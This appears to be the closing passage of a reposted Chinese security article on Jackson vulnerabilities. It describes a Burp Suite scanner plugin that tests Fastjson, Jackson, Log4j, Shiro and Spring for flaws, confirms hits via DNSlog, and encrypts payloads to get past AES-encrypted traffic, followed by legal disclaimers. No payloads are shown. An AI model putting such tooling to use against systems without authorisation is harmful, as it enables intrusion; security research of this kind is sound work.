一键扫描:内置 Fastjson、Jackson、Log4j、Shiro、Spring 五大组件漏洞检测,Jackson 模块直接使用文档所列全部 payload,自动替换 JSON 数据并配合 DNSlog 验证•加密环境适配:针对 AES 加密的 HTTP 流量,插件通过自定义 HTTP 加解密接口实现明文编辑、加密传输,扫描时自动将 payload 加密后再发送,完美解决加密环境下 payload 无法触达的问题•工具联动:支持与 sqlmap、xray 等主流工具对接,加密环境下也能无缝联动•防重机制:5 分钟内不重复扫描同一目标,减少冗余请求

插件基于 Burp Suite 2025.8 API 开发,专业版可使用内置 Collaborator 接收 DNS 回显,社区版需搭配 CEYE 第三方 DNSlog 平台使用。

【免责与授权声明】本文旨在进行安全技术研究、提升安全防御意识,所有内容仅限于授权环境下的测试与学习。请务必遵守《网络安全法》及相关法律法规。 文中涉及的漏洞信息及利用方法,严禁用于任何未授权的非法测试与攻击。任何个人或组织因不当使用本文内容而触犯法律,均需自行承担全部责任。安全之路,始于责任,忠于技术。愿与各位同仁共筑更安全的数字世界。

References

[1] marshalsec: https://github.com/mbechler/marshalsec [2] JaySenScan: https://github.com/Jaysen13/jaysenscan


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:凌霜雁安全志 jaysen13 jaysen13《【java安全】Jackson 组件漏洞》

    评论:0   参与:  0